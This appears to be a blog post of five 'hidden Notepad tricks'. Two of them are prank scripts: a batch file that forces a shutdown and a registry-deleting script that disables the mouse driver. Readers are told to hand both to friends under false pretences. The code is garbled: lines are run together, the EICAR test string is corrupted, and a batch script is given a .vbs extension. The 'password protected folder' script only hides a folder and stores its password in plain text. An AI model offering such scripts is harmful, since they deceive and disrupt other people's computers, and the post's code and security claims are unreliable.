Top 5 Useful Notepad Tips & Tricks You Might Not Know tested and 100% working
As I grew I learned many more things I can do with Notepad. It’s amazing to see how many different things you can do using probably the simplest text editor. So today we have brought you a list of tricks you never knew you can do with Notepad –
Best hidden tricks and tips of Notepad
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Force Windows to Shut down
If you are that person of the group who likes to pull pranks on everyone then this one’s for you. –
- Open Notepad.
- Paste “@echo off” in the first line.
- Paste “msg * Shutdown computer” in the second line.
- Paste “shutdown -c “Sleep Tight” -s” in the third line
@echo off msg * Shutdown computer shutdown -c “Sleep Tight” -s
- Save the file with as anything.BAT
Now whenever someone opens the file it will force the computer to shutdown. Now give this file to your friend and tell them that it’s a secret file which you have to keep safe and tell your friends not to open it. Then? Have fun.
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Check Your Anti virus
Whenever I scan anything using my Anti virus, I always wonder if it really works or I just pay it for nothing. Thankfully I found a great method created by European Institute for Computer Antivirus Research (EICAR) to test my Anti virus. You can also try it with your Virus scanner. Just follow the steps below –
- Open Notepad
- Copy this code:
[email protected] [4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
- Save the file as testantivirus.com
Now Scan this file with your anti-virus and if it’s working properly then it will declare the file a virus.
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Disable the Mouse
Another one for our fun loving friends. This time, the code will disable the mouse when someone will try to open the file by double-clicking on it. Just follow the below introductions to try this trick-
- Open Notepad
- Paste the following code in it-
rem Disable Mouseset key=”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass”reg delete %key%reg add %key% /v Start /t REG_DWORD /d 4
- Now save the file as anything.vbs
Now your file is ready. Distribute it among your friends and have fun.
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Create a Diary
Many people consider it a burden to maintain a daily diary (I am one of those), after all sitting everyday at night and writing down what happened with you is not a fun thing to do when you can just go to sleep.
But what if you can create a Diary on your computer using notepad? It will make it so much easier to handle it. All you have to do is follow these simple steps-
- Open Notepad
- Type.LOG in the first line.
Type.LOG
- Save the file as Log.txt
- Now, write something to the file and it will automatically get saved with edited date and time.
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Create Password Protected Folder
We all have different type of files which we want to keep safe. It can be your work file which you don’t want your children to mess with or it can be your funny trip photos you don’t wanna show to others. We normally use some password protection software to keep this files safe but what if you can use the notepad for it? Just follow following instructions-
- Open notepad
- Paste the following code in it-
@ECHO OFF title Folder Private if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK if NOT EXIST Private goto MDLOCKER:CONFIRM echo Are you sure you want to lock the folder(Y/N)set/p “cho=>”if %cho%==Y goto LOCKif %cho%==y goto LOCKif %cho%==n goto END if %cho%==N goto END echo Invalid choice.goto CONFIRM:LOCK ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” echo Folder locked goto End:UNLOCK echo Enter password to unlock folderset/p “pass=>”if NOT %pass%== Yourpass goto FAIL attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private echo Folder Unlocked successfully goto End:FAIL echo Invalid password goto end:MDLOCKER md Private echo Private created successfully goto End:End
- Replace “Yourpass” with your password.
- Now save the file as Private.bat
Now every time you open this file, it will create a private folder which can only be opened with your password. So you can put all your important files in it for safe keeping.
After Talk
How’s been your experience with all these cool hidden notepad tricks? Do you any more interesting tricks we missed? Do tell us in the comments field.
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